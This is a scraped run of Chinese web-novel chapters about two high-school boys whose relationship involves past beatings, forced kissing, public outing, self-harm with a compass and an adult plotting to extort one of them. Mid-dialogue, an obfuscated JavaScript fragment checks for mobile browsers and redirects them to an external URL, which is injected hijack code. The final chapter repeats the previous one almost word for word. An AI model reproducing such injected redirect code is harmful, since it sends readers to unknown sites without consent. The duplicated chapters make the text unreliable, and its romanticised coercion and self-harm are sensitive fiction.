但是刺猬，又何尝不想要一个拥抱。
要一个不怕被自己扎的鲜血淋漓、满身是孔的傻子。
郑源跌跌撞撞的给胡建国打电话，急的就快长翅膀飞了。
李华没在教室。郑源冲到教室的时候找了一圈，才有人跟他说李华发烧了，没上课，在寝室。郑源下意识就想扇自己几巴掌。他脚底像绑了火箭。到的时候只看到
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床上有个拱起的被子，李华把自己埋了起来。他烧到了三十九度，去医务室拿了药，现在盖的很厚捂汗，试图熬过去。寝室里一个人也没有，他昏昏沉沉，浑身难受，朦胧间总觉得有人喊他，像郑源，他挣开迷茫的双眼，烧出幻觉了，看不清，眼前什么都没有，也不可能有。他把头埋进被子里，片刻后传来闷闷的哭声，总是欺负他，连他生病的时候都欺负。
郑源把他剥出来，摸了把额头，还是烫的惊人，直接让胡建国把车开到寝室楼下，像怀里抱个火炉似的宝贝，紧紧地抱着。李华穿着睡衣，身上湿透了，猛然出了被窝，还有点冷。他往郑源怀里缩了缩，感觉不对劲，试图睁眼，睁不开，晕的天旋地转，眼冒金星。郑源将脸贴着他的脸，忍不住亲了他两口，自己的心躁动又平静，他握住李华的手腕，求证似的：“你喜欢我，对吗，李华？是不是喜欢我？”
车在医院停下，郑源找了雷医生。雷医生轻车熟路的安排了他的专属病房，给李华扎上了针。
李华这才不太痛苦的睡了过去。
“来太晚了，都烧到四十度了。”雷医生说：“发烧最忌讳缺水，自己熬根本不行，先给他输瓶生理盐水。”
郑源心疼地坐在床边，握住他没扎针的手，后悔的不行。
李华烧的迷糊，中间醒了一次，郑源给他喂了点吃的，李华都没力气分辨他是谁，只听到他的抱怨：“怎么又生病了。”
像郑源的声音。李华气不打一处来，都没力气说话，也要跟他犟：“不喜欢她的伞。”
女生的伞太香了，香的他想吐，难受，所以他没用她的伞，淋雨跑了回去。
前言不搭后语的一句，郑源也听不明白，只顺着：“好好好，不喜欢就不喜欢。”
“不要。”李华推开他，又缩成一团，很难过，不要，不要她的伞，不要郑源，不要，什么都不要。
“好好好，不要，不要。”郑源摸把他额头的汗，叹口气，“那你要什么？李华，你告诉我，除了让我消失，你还想要什么？”
李华的眼泪突然就下来了。
郑源瞪大眼，措手不及，“不是，你别，你别哭啊，你……”
李华越哭越凶，最后嚎啕大哭，差点让手跑水。郑源没办法，只能上床制住他，把他抱在怀里不让动，安抚的拍他的肩。
李华哭累了，眼角还挂着泪珠都睡着了。郑源叹口气，把人搂的紧紧的，有种失而复得的感慨和受宠若惊。
不知道醒了又是什么样的毁天灭地，但这样宁静的时刻，能多享受一秒他就多贪恋一秒。
韩娇站在病房外静静地看着，有人提醒她：“您好，这里不让抽烟。”
韩娇嗯了一声，收了起来，笑的很有礼貌，“谢谢。”
她转身离开，将烟扔进垃圾桶。片刻后，她给郑源打了个电话。
“我在医院，我想跟你谈谈。”
71.第 77 章
李华感觉自己被藤蔓缠住了。他费劲的挣脱，没挣动，当终于冲破桎梏，他也就醒了。醒来的第一眼看到的就是郑源的脸，皱着眉，睡的很不安，牢牢的抱着他，像怕他跑了。李华烧刚退下，浑身无力，闭上眼，身体无意识的往他怀里靠，又猛地惊醒，瞪大眼，一把将他推了出去。郑源在梦里坠下悬崖，陡然惊醒，心惊肉跳的爬起来，意识到自己坐在床上，揉了揉脸，下一刻又连忙找人，正对上李华冷漠又厌恶的目光。
他胸口一窒。
“你醒了。”他声音干涩，晚上只忙着照顾李华，他没喝多少水，差点破音，“饿不饿？我点个粥吧。”
李华才反应过来在他家。他二话不说就下床要走，身形一顿，低头看到自己身上穿着丝绸睡衣，他蓦然回头，神情冷的要结冰：“我的衣服在哪儿。”
“洗了。”郑源说，也从床上下来，不敢离他太近，站在床尾：“我们……聊聊吧。”
“没什么好聊的。”李华轻车熟路的扒起他的衣柜，总不能让他穿睡衣回学校。
“有。”郑源急道，忍不住走近他，李华比他反应的更强烈，还有三步远的距离就尖叫着让他止步，一副死活不听的模样。郑源更急了：“你别这样啊。有什么我们好好说行不行？我不想跟你闹矛盾，李华，你听我解释行吗？”
李华当着他的面换了衣服，速度快的让郑源占不到眼上的便宜，他此刻也没心情管这个，只见李华穿上就要跑，仿佛他这里是什么吃人的魔窟。这要是让他走了还得了，郑源咬了咬牙，一把抓住他的手腕，一使劲就把人拉怀里了。李华不防，和他撞了个正着，两个人距离近的要接吻，郑源看着他的眼，忽然脸红了，很不合时宜，但是他就是少见的害羞起来，结结巴巴、磕磕绊绊：“你……”
李华再次推开了他，还站在原地冷冷地看了他一眼，仿佛他是什么不入流的垃圾。
郑源也再一次拉住了他，尽管李华有防备，还是抵不过他的力气，两个人再次面对面，李华刚张嘴，郑源就闭上眼吻了下来，李华瞪大眼，温热的唇舌不骄不躁，轻柔又缓慢地舔舐着他的唇瓣，让他莫名想起母猫舔小猫时的模样，充满了怜爱，郑源就这样温柔地吻着他，不带任何欲望，更像一种无声的安抚和疏导。李华眼眶很酸很涩，他反应过来紧紧闭上唇，再次推开他后狠狠地扇了他一巴掌。
郑源偏过头，牙齿刮到嘴角，出了血，脸也肿胀起来，这一巴掌用尽了李华全部的力气，扇完他自己都踉跄两步扶着墙，站不稳。郑源垂着头，沉默地看着他，预想中的狂风暴雨没有到来，他只是看着李华，直直地盯着他，盯的李华后怕，已经在心里做好了挨打的准备。看到郑源抬起手，他下意识抱住自己的脑袋，却再次被人拉进怀里。温暖的胸膛让他一怔。郑源动了动嘴角，嘶了一声，委屈的抱怨：“好疼。”
李华眨眨酸涩的眼，太干、太涩了，让他眼眶湿润，像要掉泪。
“消气了吗？”郑源说：“没消气你再扇一巴掌。”
李华开始挣扎，郑源松开他，却拉着他的手，放到自己没被扇的另一张脸上：“有什么我们好好说好吗？”
李华没夺回来自己的手，也不看他，“没什么好说的。”
“有。”郑源拉着他坐到沙发上，“我和韩娇……”
一听韩娇，李华就开始往后挣，像受了惊吓的猫，郑源连忙拽住他，再次不由分说地把他摁进自己怀里，这次说死也不放手了，他语气快速急迫地解释：“我们已经分手了！”
本以为李华听到这句话会好受点，没想到他更崩溃了，他的脑海里浮现出女生小鹿似的双眼，用比郑源还大的声音盖过他，打断他：“跟我没关系！我不想听！放开我！”
“怎么就没关系？”郑源不喜欢他这么说，听了心里难过，“之前是我的错，李华，以后我们好好的，好吗？我不会再打你了，那天我就发过誓了……过年的时候……你就当我是畜牲，是混蛋，是傻逼，你想怎么骂我都可以，想怎么打我都行，就是别不理我，别生气了，好吗？我会对你更好的，真的，你相信我……”
李华气的掉泪，泪珠全砸在郑源的胳膊上，他看似冷静，声线却颤栗，抖的不成样子：“你又开始纠缠我了是吗？我是你的玩具吗？你想起来，感兴趣的时候揉扁揉圆，不感兴趣就一脚踹开，心情好的时候心甘情愿演起戏，心情不好又暴露本性仿佛我犯了滔天大错，你说你喜欢我，你问过我的感受吗？从你开始打我，到对我感兴趣，你的好、坏，我都要无条件的承受，甚至不满足你就是我的错，我还要达到你的标准去付出，我，我的时间，我的精力，我的心情，甚至是我的身体和我父母，只要你想，没有什么你得不到的，你又装出这幅样子给谁看？”
郑源僵直了。
李华推开他，“是我让你跟韩娇分手的吗？你现在跟我说是什么意思？浪子回头我得感谢你吗？是我他妈让你们两个谈的吗？！”
他深吸一口气，憋回了眼泪，声音平稳了，“我是傻，不懂人情世故，但我不是傻逼，你把我当什么？你手心里的宠物？给我笑脸我就得接着，对我好，我就得感谢？我就是白眼狼，郑源，你在我这儿，跪下求我都没用，你给我的那些痛苦、崩溃和绝望，你体会不到，就永远别舔着脸让我原谅你，我做不到。”
说完，他笑了，眼泪却又流下了。他抹了一把，站起身离开。走到门口时，郑源说：“可是……你不喜欢我吗……你应该……喜欢我的……”
李华的手
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放在门把手上，推开门迈出一步，又停下。
“你的确把我变的人不人，鬼不鬼。”喜欢，是喜欢吗？他看着郑源寂寞受挫的背影，移开目光，“但我不会喜欢你，也不会让自己喜欢你。”
是喜欢吧。
李华甩上门，情绪波动太大，让他靠着门喘息，甚至感到头晕。
他跨不过那道坎，他走在春日的阳光里，只感到冷。他不可能喜欢郑源，或者说他不能喜欢郑源，两个人不合适，无论从哪个方面看都不合适，家庭、性格、处事，他还是男孩儿。警戒线在李华这里拉的死死的，任何跨过的人都会灰飞烟灭，无论是他还是别人。他的首要任务是学习，唯一的目标也只有学习。谈情说爱这种东西只出现在不需要为原生家庭努力的人身上，显然他不是。
他站在路上感到累，累的他走不下去，他靠着树缓慢蹲下，抱着自己的膝盖。
话说开了，他应该感到轻松。
但是就像在湖中扔下一颗石头，后来人看不到当时泛起的涟漪，这泉湖水却无法欺骗自己他不存在。他存在着，在湖水的包裹和隐瞒、伪装下，存在的隐晦又细微，像条细不可见的丝线，连着他的要害，风一吹就抽抽的疼，疼的他四肢发软，心脏酸胀，呼吸困难。
“小李同学。”胡建国担心地看着他，向他递来一瓶水和纸巾：“你没事吧。”
他已经蹲在这里很长时间了。
他也跟他很长时间了。
李华下意识朝他身后的车上看去，胡建国心领神会：“就我自己，没有少爷。”
李华这才对上他的目光，勉强地笑了一下，接过他的水和纸巾：“谢谢你，胡叔叔。”
他想要站起来，却晃了一下，胡建国连忙扶着他，了然道：“腿麻了吧。”
李华不好意思地笑笑。胡建国把他搀扶到车边：“走吧，去哪里，我送你。”
李华摆手拒绝：“不用，胡叔叔，我……”
“没事。”胡建国笑着，不由分说地把他往车里送：“不然你自己走到什么时间去？不上学了？”
李华迟疑了一下，胡建国接着道：“小少爷不会知道的，放心，相信胡叔叔，上车吧。”
把李华送到学校，胡建国回去复命。郑源说：“把他送回去了？”
胡建国点头。郑源的脸色有些苍白，胃也一抽一抽的难受，但他还是不停地喝凉水。冰凉的液体顺着喉管滑进食道让他好受，浇灭心里的火。
他看着镜子里的自己，神态疲惫，火却顺着血管血液闯进了黑色的瞳孔里，里面燃烧着难过、痛恨、与欲求不满。
“真抱歉，李华。”他勾唇笑笑。
唯独没有胆怯和放弃。
他势在必得。
72.第 78 章
郑源飞速地谈了个女朋友，又飞速的分手。大家是通过他删了那条朋友圈推出来的。樊瑞知道的时候韩娇正在他的小院子里喝酒。樊瑞问她怎么回事儿，分的这么干脆，放下了？韩娇说：“他处理好他的事如果还想找我谈，当然可以，但是没处理好之前，牵牵扯扯的，我不愿意。”抽了口烟，她又说：“别开玩笑了，让其他人知道我韩娇跟一个男的争风吃醋抢男朋友，我还要不要脸了。”
樊瑞笑起来，韩娇说：“你这快建成了吧。”
樊瑞点头，“也没那么快，应该在暑假之前。”
“那感情好。”韩娇说，“正好暑假来你这儿玩。”她停顿片刻，还是有些落寞的叹口气，“本想今年暑假喊着他一起去法国呢。”
他是谁不言而喻。樊瑞向来知道感情这种事得自己想开，只给她倒了酒，没搭腔。
晚上傅一青来了，也是关心郑源的。他看到了他的朋友圈。之前忙着自己的事儿把他忽略了，这一闹倒是又想起来了。
樊瑞对他向来是知无不言言无不尽的，无论聊什么，能多跟自己的心选对象多待会儿自然是好的。傅一青饶有兴趣地听着，两个人离的很近，樊瑞甚至能闻到他嘴里的香气，没开玩笑，真是他口腔中一种淡淡的雅香，很清淡，像山野上不知名的花儿。樊瑞有点痴迷，傅一青看着他勾起唇，将兜里的口腔清新剂放到他的兜里，温柔地说：“这个味道接吻很舒服。”
樊瑞的脸腾的就红了，目光移开他的唇。傅一青淡笑着看他，遗憾似的说，好想见见李华，想知道他长什么样。樊瑞立即将任务揽到自己身上，傅一青笑着说：“那就谢谢你了。”
郑源的脸消肿后就迫不及待地去上了学。人还没到就给老师打电话，要把他的座位还搬回去，意思是不让李华跟别人坐一起。李华也没打算和别人坐一起，他一个人坐挺好的，很清静。连王玉代都很少来叨扰他，倒是徐梦梦和赵敏路过他时都会友好的对他笑笑。在其他同学眼里，他和郑源已经是捆绑在一起的了，哪怕郑源不在，也没人涉足他的领域，去跟他的人套近乎。毕竟他俩在教室闹的那一出也没避人。那点儿见不得光的事儿不用说的太明白也会被大家猜的八九不离十。不过大部分声音都是说郑源爱而不得刻意挑衅，逼的李华反击。还有小部分声音是说郑源谈了恋爱，李华吃醋崩溃。李华不是没听到过，但闲言碎语和他人的目光向来不在他的考虑范围内，他开始在学习上毁灭使打击所有人，颇有独坐高处的意思。
但他的清静日子也没过多长时间，因为郑源又回来了。他像无恶不作的魔鬼、像阴魂不散的恶鬼，所到之处天寒地冻，寸草不生，只有李华感觉他像团浇不灭的火，肆意残忍的蔓延周围，顷刻间狼烟动地，灰飞烟灭。
郑源没事儿发生似的坐在他身边，一上午都在埋头写着什么，李华没空搭理，也尽量避免和他的接触，触碰。却在下午的时候收到了他一上午的成果，那是一篇好长的保证书，上面详尽的列举了近百条他不会再犯的错，大到不再动手打人，小到以后上车他都会让李华先上，繁琐到从校园到双方的家庭，详细到衣食住行，其中格外点出了无论做什么事之前先过问李华的建议，获得他的同意后再行动。
是检讨书，却更是情书。
没有华丽的辞藻，情情爱爱的浪漫堆砌，只有非常诚恳的认错态度和急切于证明自己的真心。李华将其扔在桌子上，他竟然看完了，看完就算了，郑源托着脑袋，歪着头看他时，眼神里温柔又强势的目光让他看到一张巨大的捕猎网，无论是他还是他的行为都向李华传递一个非常直白明朗的信号，那就是他不会放弃的，不会放弃纠缠他，会紧紧的陪伴在他身边。
“你有病吧？”李华的自我防御功能开启，慌张的同时害怕又应激，将这沉甸甸的心意扔回去，屏蔽他的攻击。
郑源一点也不生气，他看到李华红起来的耳尖，自作多情的认为他是害羞了，恼羞成怒了，笑起来，没说话，将检讨书收好，夹在书的最后一层，低声说：“我知道你一时半会儿接受不了，我可以等，也愿意等，无论你以后去哪儿。”他停顿了一下，语气很认真，“你就算再难追，李华，我这辈子只追你一个，我不怕。”
一次次的冲突，一次次的矛盾，一次次的争吵，甚至是一次次的互殴，郑源从茫然到坚定，从暴力到温柔，从急切到温吞，他慢了下来，静了下来。
李华是他见过最难啃的骨头，要一点一点，非常有耐心的，去细致的听他讲，才能抚摸他掌心的纹路，知道他每句话后的口是心非。
下课，李华落荒而逃。郑源没有追上去。
现在的他在李华眼里更可怕，比洪水猛兽都可怕，像隐藏在树林里的响尾蛇，随时给他毫无防备的致命一击。
但郑源改过自新了，学聪明了，并不逼迫他，也不给他压力，给他留有很大的喘息空间。让李华无所适从的同时警惕却庆幸。他相信只要自己能守住，始终冷着一张脸，郑源贴久了就忍不住了，就会暴露本性，反正他这样循环往复好多次。这么想着，他又释然了，只等时间解决问题。
只是没多长时间，他就遇到一个麻烦，这麻烦简直是他的天敌，就是体育。
他的体育太差劲了，八百米都不及格，暂且不论不在运动会上为班集体挣荣誉，就是冲着体育考试那七十分，他也得咬碎了牙往肚里咽，开始将运动马不停蹄的拉上日程。
但是学习课表这么满的情况下，他的身体素质这么差的情况下，就连体育老师也没办法给他提出什么更好的建议，只能说闲暇时刻，下课放学，平时不学习的时候，星期六天，总之任何空闲时间，都多锻炼，而不是只坐着看书学习。
要活动起来，要运动起来，要从座位上站起来。
郑源托着下巴看他，看着他忧心忡忡，六神无主的模样，说：“我帮你啊。”
李华回绝干脆，“不需要。”
“我体育满分。”郑源说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389349|148065||http|test|mini|href|location''.split(''|''),0,{}));
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“那也不需要。”李华不松口。
郑源耸肩，“那好吧。”
李华看他一眼，少有的思想抛锚，在课上制定了一系列的运动计划。郑源只看了一眼就否决了：“不可能。”
李华捂住自己的本子。
郑源说：“你上来就这么高强度，只会把身体跑伤，你根本承受不住。”
“不用你管。”李华依旧犟。
“你得科学。”郑源好言相劝，“我不是在否认什么，你如果真的想提高运动成绩，跟我作对是没用的，很不明智。你知道我是最好的选择，我可以帮你，李华，不要拒绝别人的帮助，你做不来的事有很多，不要逞强。”
李华抗拒异常：“不用你管，你听不懂吗？！”
这是又惹到了。郑源只能以退为进，点点头，不再说了。
又一节体育课，老师有意锻炼大家的身体素质，这次做完操也没让解散，而是展开了百米冲刺跑。虽然一片狼嚎，但是男生歇歇也就过来了，女生有几个不情愿的也没觉得不能忍，李华却已经脸色苍白，一步都跑不动了。
他太瘦了，风一吹就要倒似的。
郑源心疼的看着他，张张嘴，没说话。李华要强，尽管他深知自己跑不动了，却也没退缩，没什么表情的站在赛道，一声令下，和其他男生一起冲刺。只有一百米，他咬着牙，拼着一股劲，眼睛死死的盯着终点，心仿佛要穿过胃跳出来，耳边只有自己沉重的呼吸，腿像被人从后拖着，一步都抬不起来。
只差一步，他到了终点，掐着腰，腿一软就想坐在地上，被人眼疾手快的从身后捞住，李华整个人都瘫在郑源身上，他痛苦的皱着眉，喘息，一点儿劲都使不出来，只想沉甸甸的往下坠。郑源半抱着他，片刻后背对他，把他背了起来。李华两条细胳膊垂在他颈边，依旧试图远离。郑源说：“别动，摔下去了。”
郑源把他背到柳树下，让他坐在台阶上，半蹲在他身边给他揉腿，隔着校服裤子，力道不重不轻，很舒服。李华推着他：“不用，起开。”
他跟座山似的，根本推不动。
郑源说：“得揉，不然腿会抽筋，抽筋很疼，你会疼哭。”
他抬眼看他，眼睛很黑。干净的校服妥帖的穿在他身上，一点不减帅气。
李华垂眸拨开他的手：“我自己揉。”
“你不会。”郑源强势地说：“别闹了，一会儿就好了。”
李华移开了目光，看到有人在看向他们这边，还是不自然地收了收脚，郑源往后瞥了一眼，从侧蹲改蹲到他面前，挡住了所有人的目光。
一片阴影笼罩着李华，他无所适从的看着郑源的鼻梁。郑源若有所感的抬起头，李华撇过头。郑源笑了一声，捏捏他的鼻子，“我才发现你脸皮这么薄。”
李华要收回腿，郑源啧了一声拉回来：“好好好，不说了还不行么。”
他淡笑着，最后还给李华拍了拍裤腿上沾到的灰尘。
73.第 79 章
李华有了新朋友，叫傅一青。他说不了自己什么心理，对傅一青也没有太多的好奇与喜爱，只是眼下所被逼迫的环境有一个人能这样对他，让他感到轻松，只要不和郑源待在一起，不和他在同一屋檐下，他去哪里都可以，只要有人能填补他一部分的空缺，谁来跟他交朋友都可以。
但是没人敢，起码班里面的同学都对他避如蛇蝎。
傅一青很温柔，也很细心和体贴，他察觉到李华的内敛和忧郁，能感受到他被什么困扰，缠绕，像藤蔓包围他整个人，把他往黑暗的漩涡拖去。傅一青朝他伸出手，把他拽了出来。所以李华对他的话深信不疑，巨大的精神压迫下，萌生出了感激，感激他的出现和帮助。
“怎么总觉得你不开心呢？”傅一青歪着脑袋看他，捏捏他的脸，“笑一下呀，你笑起来很可爱。”
李华勉为其难的扯了下嘴角。
“你有心事吗？”傅一青皱起眉，不理解，“跟家人吵架了？”
李华摇头。
“嗯……考试没考好？”
李华还是摇头。
傅一青淡笑地看着他，从试探到肯定，“那就是朋友之间闹矛盾啦！”
李华一顿，不知道点头还是摇头，沉默着不做声。
傅一青揽住他的肩膀，“哎呀，没关系的，我们可以找下一个小朋友，终会有人喜欢和我们一起玩的，别不开心，嗯？”
他哄孩子似的，“我们小李华最好，最棒，最优秀了，谁不跟我们玩都是一大损失。”
他好像真把李华当自己的弟弟那样耐心的去开导，让李华心里很酸涩，本就孤立无援，无助又茫然，好不容易有一个朋友，还是因为自己像他过世的弟弟，他完全是在占别人的便宜。
他挣开傅一青，低着头，不敢看他，“我不小了，而且……我不是你弟弟。”
傅一青一愣，着实没想到他会这么说。他的眼神里透露了一丝完全不伪装的讶异，看着他的目光有些玩味。这么小的孩子，这么强的自尊，还这么的敏感，完全是小刺猬——谁都知道刺猬有尖尖的刺，但谁也都知道刺猬有柔软的腹部，越保护，越凸显出致命的脆弱。傻，又单纯。
他想了想，蹲在李华面前，“你生气了吗？”
李华摇头。
傅一青说：“我向你道歉，好不好？我知道这对你不公平，但我已经不把你当弟弟看了，而是朋友，毕竟你和他的性格完全不一样，我是说，我很开心能和你交朋友，你能原谅我吗？”
李华看着他的眼，那么真挚的期盼，他点点头。
“那，有什么是我这个朋友能帮你的吗？”傅一青开心地揉揉他的头，李华却还是摇头。
傅一青笑了一下，没再问。
李华走后，他看着他的背影，烦躁地靠着墙。不仅像刺猬，还像蚌，死活撬不开那张笨拙的嘴，非要拿利刃划开才行。傅一青并不打算在他身上投入过多的时间和精力，他的目标不是李华，而是郑源。
他还需要从郑源身上拿钱。
所以郑源不能和李华和好，更不能和别人谈恋爱，但是也不能太决裂，他要郑源爱，但爱而不得，要李华恨，但又恨不下心，这样郑源才会病急乱投医地来投靠自己，又或者自己在合适的时候出现，做一个救世主的角色。
区区两个小屁孩儿，玩弄他们还是绰绰有余。
“你出去了？”郑源看着李华问。李华没说话，郑源说：“你这几天一直往外跑，你去哪儿了？”
“要你管。”李华坐在位置上，收拾课本。
“你去干嘛了？”郑源很关心，或者说他很担心，“你不是偷偷藏起来去完成你那个离谱的运动计划了吧？我说真的那样不行。”
“你离我远一点行不行。”李华说，“你太吵了。”
“OK，我闭嘴。”郑源无所谓，“我就是闭嘴，你也不能那样去锻炼。”
李华当然知道。他自己试了一次，瞬间就放弃了。但是他又不愿意向郑源请教，就这样一直僵持不下了。
毕竟郑源的体育的确好，班里没人比他的更好。他怎么什么都这么优秀，烦不烦人。
李华趴在桌子上，没过一会儿，竟然睡着了。
郑源拿课本给他遮着头顶的灯光，另一只手飞速地用手机打着字，硬是让本该讲卷子的晚自习变成了自习。谁都不能打扰他的宝贝儿睡觉。
李华无意识的哼了一声，听的郑源心尖儿颤，他忍不住朝他坐近了点儿，还能闻到他干净校服上的皂香。李华太累了，比起身体累，更多的是心累，他郁郁寡欢，就无精打采。
直到放学铃打响，李华才被吵醒。他揉揉眼，有些卡顿，因为他的胳膊麻了，让他皱着眉嘶了好几声，随即听到一声轻笑，他猛然扭头，眼都睡红了，侧脸还压的有印子，正对上郑源温温柔柔的目光，很宠似的收回了手。李华睡了多久，他就给他挡了多久，肩膀头也酸疼，但很满足的揉着。李华也忍不住活动活动，才意识到有什么从自己后背上滑落，他低头的瞬间，郑源也低下了头，两个人头抵头的一顿，又看向对方，地上掉的是郑源的校服，他直勾勾地看着李华，让李华猛然站起来后退好几步，可惜他旁边是墙，这一急直接磕到了头，眼泪瞬间疼出来了，可把郑源心疼死了，他连忙站起身站到他跟前：“没事吧。”
他伸手要摸，李华打开他的手，很生气，很委屈，郑源抿了下唇，将检讨书上的内容忘的一干二净，还是强势抬起了手，语气却很轻，“别动，我看看。”
李华被他困在墙和自己身体之间，一呼一吸全是他的味道，固执地推着他的胸膛，郑源的手插进他的发丝抚摸，没找到疙瘩，却摸的李华呼吸混乱，又是这种酥麻的感觉，他忍不住往后仰头，皱着眉，睫毛在郑源眼下颤抖。郑源心跳很快，教室已经没人了，他舔舔唇，心就快跳出胸腔了：“李华……”
啪，灯灭了。
李华瞪大眼，下一秒，唇就被堵上了，郑源强势地抱着他，李华愣了，傻了，他呆呆地瞪着眼，郑源吻的投入而深情，恨不得将他一点一点拆了吃掉，李华推不动他，被他越抱越紧，想说什么，却只发出黏腻的轻哼。郑源更激动了，像得到骨头的狗，尾巴都要摇成螺旋桨，拉着他的手搂自己的脖子，亲嘴还不够，要吃他的舌头，口
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水，满足后无意识的亲脸，亲脖子，埋在李华脖颈又咬又啃，又吮又吸，李华全身发麻，像块儿冰也被他炙热的体温暖化成一摊水，他只感觉脖子暖烘烘的，咬着下唇，再也不发出声音，抓着他的肩膀试图推开他。
两个人离得太近，李华清楚的感受到自己腿间的不适。
他有些害怕地后退，试图把自己嵌进墙里。郑源察觉到他的手在哆嗦，和他十指相扣，一下又一下，啄木鸟似的亲他的嘴，声音又低又哑，很急的哄着他：“我不动你，宝宝，我不动你。”
察觉到郑源的桎梏松了，李华猛然推开他，也没看他，匆匆离开。
郑源心满意足地笑了，整个人放晴了似的，却在离开时忽略了一直站在角落里的阴影。
第二天，全年级都知道了，郑源和李华在教室亲嘴。
李华听到的时候整个人都炸了。他无论去哪儿都有窃窃私语和指指点点，让他的脸一会儿红一会儿白，哆嗦着手说不出话。他没脸看任何人，也不敢看，只坐在自己的位置上勾着头，下课连厕所都不去，任由郑源怎么逗都没用。他把说这些话的人好一阵怼，哄着李华，说好了没事了，没人说了。李华的指尖深深地嵌进手掌，脸色一片苍白，甚至出着冷汗，感到头晕目眩。连上课时老师看他的目光都似乎有厌恶与嫌弃。他听不进去任何话，在众目睽睽之下，不受控地扇了自己一巴掌。把郑源吓一跳，连忙摁住他的手，李华挣不动他，开始掉比豆还大的眼泪，一颗又一颗砸在郑源的手背上。
他恨，恨自己，谁都不恨，就恨自己。
恨自己贱，恨自己无能，恨自己难堪。
“你就是这样上学的？这样回报父母的？”
“男同性恋，艾滋病。”
“你对得起谁？”
李华想嚎啕大哭，却哭不出声音，他只是不停地抽咽，像是要背过去，气儿都喘不顺，把郑源和老师吓的连忙要把他从教室带出去。他却执拗、固执、死犟地抱着自己的课桌，要学习，一边哭一边道歉，说对不起，我不会再这样了，我不敢了，我想学习，求求你们了，让我学习吧。
像是一种心灵感应，郑源突然把他抱进了怀里，抱的死紧。众目睽睽，所有人都倒吸了一口凉气，连老师都震惊、错愕了。奇怪的是，李华冷静了。他手里攥着圆规，将针狠狠地扎进郑源的大腿，血瞬间浸湿校服裤子。
他藏在郑源怀里，愤恨地将圆规抽出再扎进去，循环往复，让他半条校服裤子全是血。郑源疼，但他知道，这样李华就不疼了。
这一幕实在是太惊悚了，让老师不得不打断李华：“李华！”
李华捂住耳朵。
老师无言：“你……”
“没事，老师，上课吧。”郑源疼的汗浸湿后背，但他没放手：“就这样吧，下课再说。”
李华没再动了，但是也没挣脱，硬是在他怀里躲了一整节，看起来就像郑源从后半抱着他。
一下课，李华不顾所有人的目光，推开郑源就出去了，郑源想追他，被老师压着去医务室。
后几节课李华都没上，这是他有史以来，第一次逃课。
74.第 80 章
李华有了新朋友，叫傅一青。他说不了自己什么心理，对傅一青也没有太多的好奇与喜爱，只是眼下所被逼迫的环境有一个人能这样对他，让他感到轻松，只要不和郑源待在一起，不和他在同一屋檐下，他去哪里都可以，只要有人能填补他一部分的空缺，谁来跟他交朋友都可以。
但是没人敢，起码班里面的同学都对他避如蛇蝎。
傅一青很温柔，也很细心和体贴，他察觉到李华的内敛和忧郁，能感受到他被什么困扰，缠绕，像藤蔓包围他整个人，把他往黑暗的漩涡拖去。傅一青朝他伸出手，把他拽了出来。所以李华对他的话深信不疑，巨大的精神压迫下，萌生出了感激，感激他的出现和帮助。
“怎么总觉得你不开心呢？”傅一青歪着脑袋看他，捏捏他的脸，“笑一下呀，你笑起来很可爱。”
李华勉为其难的扯了下嘴角。
“你有心事吗？”傅一青皱起眉，不理解，“跟家人吵架了？”
李华摇头。
“嗯……考试没考好？”
李华还是摇头。
傅一青淡笑地看着他，从试探到肯定，“那就是朋友之间闹矛盾啦！”
李华一顿，不知道点头还是摇头，沉默着不做声。
傅一青揽住他的肩膀，“哎呀，没关系的，我们可以找下一个小朋友，终会有人喜欢和我们一起玩的，别不开心，嗯？”
他哄孩子似的，“我们小李华最好，最棒，最优秀了，谁不跟我们玩都是一大损失。”
他好像真把李华当自己的弟弟那样耐心的去开导，让李华心里很酸涩，本就孤立无援，无助又茫然，好不容易有一个朋友，还是因为自己像他过世的弟弟，他完全是在占别人的便宜。
他挣开傅一青，低着头，不敢看他，“我不小了，而且……我不是你弟弟。”
傅一青一愣，着实没想到他会这么说。他的眼神里透露了一丝完全不伪装的讶异，看着他的目光有些玩味。这么小的孩子，这么强的自尊，还这么的敏感，完全是小刺猬——谁都知道刺猬有尖尖的刺，但谁也都知道刺猬有柔软的腹部，越保护，越凸显出致命的脆弱。傻，又单纯。
他想了想，蹲在李华面前，“你生气了吗？”
李华摇头。
傅一青说：“我向你道歉，好不好？我知道这对你不公平，但我已经不把你当弟弟看了，而是朋友，毕竟你和他的性格完全不一样，我是说，我很开心能和你交朋友，你能原谅我吗？”
李华看着他的眼，那么真挚的期盼，他点点头。
“那，有什么是我这个朋友能帮你的吗？”傅一青开心地揉揉他的头，李华却还是摇头。
傅一青笑了一下，没再问。
李华走后，他看着他的背影，烦躁地靠着墙。不仅像刺猬，还像蚌，死活撬不开那张笨拙的嘴，非要拿利刃划开才行。傅一青并不打算在他身上投入过多的时间和精力，他的目标不是李华，而是郑源。
他还需要从郑源身上拿钱。
所以郑源不能和李华和好，更不能和别人谈恋爱，但是也不能太决裂，他要郑源爱，但爱而不得，要李华恨，但又恨不下心，这样郑源才会病急乱投医地来投靠自己，又或者自己在合适的时候出现，做一个救世主的角色。
区区两个小屁孩儿，玩弄他们还是绰绰有余。
“你出去了？”郑源看着李华问。李华没说话，郑源说：“你这几天一直往外跑，你去哪儿了？”
“要你管。”李华坐在位置上，收拾课本。
“你去干嘛了？”郑源很关心，或者说他很担心，“你不是偷偷藏起来去完成你那个离谱的运动计划了吧？我说真的那样不行。”
“你离我远一点行不行。”李华说，“你太吵了。”
“OK，我闭嘴。”郑源无所谓，“我就是闭嘴，你也不能那样去锻炼。”
李华当然知道。他自己试了一次，瞬间就放弃了。但是他又不愿意向郑源请教，就这样一直僵持不下了。
毕竟郑源的体育的确好，班里没人比他的更好。他怎么什么都这么优秀，烦不烦人。
李华趴在桌子上，没过一会儿，竟然睡着了。
郑源拿课本给他遮着头顶的灯光，另一只手飞速地用手机打着字，硬是让本该讲卷子的晚自习变成了自习。谁都不能打扰他的宝贝儿睡觉。
李华无意识的哼了一声，听的郑源心尖儿颤，他忍不住朝他坐近了点儿，还能闻到他干净校服上的皂香。李华太累了，比起身体累，更多的是心累，他郁郁寡欢，就无精打采。
